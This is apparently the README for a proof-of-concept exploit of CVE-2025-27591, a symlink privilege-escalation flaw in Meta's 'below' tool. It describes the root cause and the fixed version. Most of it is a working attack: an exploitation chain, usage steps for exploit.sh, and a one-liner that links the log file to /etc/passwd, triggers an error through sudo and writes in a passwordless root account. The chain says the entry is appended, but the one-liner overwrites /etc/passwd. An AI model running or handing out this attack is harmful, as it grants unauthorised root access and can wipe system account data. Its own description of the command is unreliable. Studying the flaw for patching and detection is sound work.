CVE-2025-27591 — Meta below Symlink Local Privilege Escalation

Overview

Description

The below system resource monitoring tool (by Meta Platforms, Inc.) contains a flaw in its error logging mechanism. When invoked via sudo, it forcibly sets 0666 permissions on its log files located in /var/log/below/ without first checking whether the target path is a symlink. This allows a local attacker to replace the log file with a symlink pointing to any root-writable file, effectively overwriting it with controlled content.

Technical Details

Root Cause

The logging code in below < 0.9.0 performs these operations in sequence when run as root:

1. Determines the log path: /var/log/below/error_root.log
2. Creates or opens the file
3. Calls chmod(path, 0o666) — without checking if it is a symlink
4. Writes the error message to the path

At step 4, if the path was replaced with a symlink before execution, the write goes to the symlink's target instead.

Exploitation Chain

Local user
    │
    ▼
Remove /var/log/below/error_root.log
    │
    ▼
Create symlink: /var/log/below/error_root.log → /etc/passwd
    │
    ▼
Trigger error via: sudo /usr/bin/below replay --time "invalid"
    │  (below opens the "log file", chmod 0666 hits /etc/passwd, writes error)
    ▼
/etc/passwd is now world-writable
    │
    ▼
Append rogue root entry: rooted::0:0:root:/root:/bin/bash
    │
    ▼
su rooted → root shell

Why --time "invalid" Works

Passing an invalid time string forces below to log an error message. The error path reaches the logging code that blindly writes to the file, which is now our symlink.

Usage

chmod +x exploit.sh
./exploit.sh

Prerequisite: The current user must have sudo rights to execute /usr/bin/below.

One-liner

rm -f /var/log/below/error_root.log; \
ln -s /etc/passwd /var/log/below/error_root.log; \
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1; \
echo 'rooted::0:0:root:/root:/bin/bash' > /var/log/below/error_root.log; \
su rooted

Proof of Concept

$ whoami
lowpriv
$ ./exploit.sh
# whoami
root

Patch

The vulnerability was fixed in below version 0.9.0. The fix introduces a symlink check before any file operations in the logging path.

References

• NVD Entry
• Meta below GitHub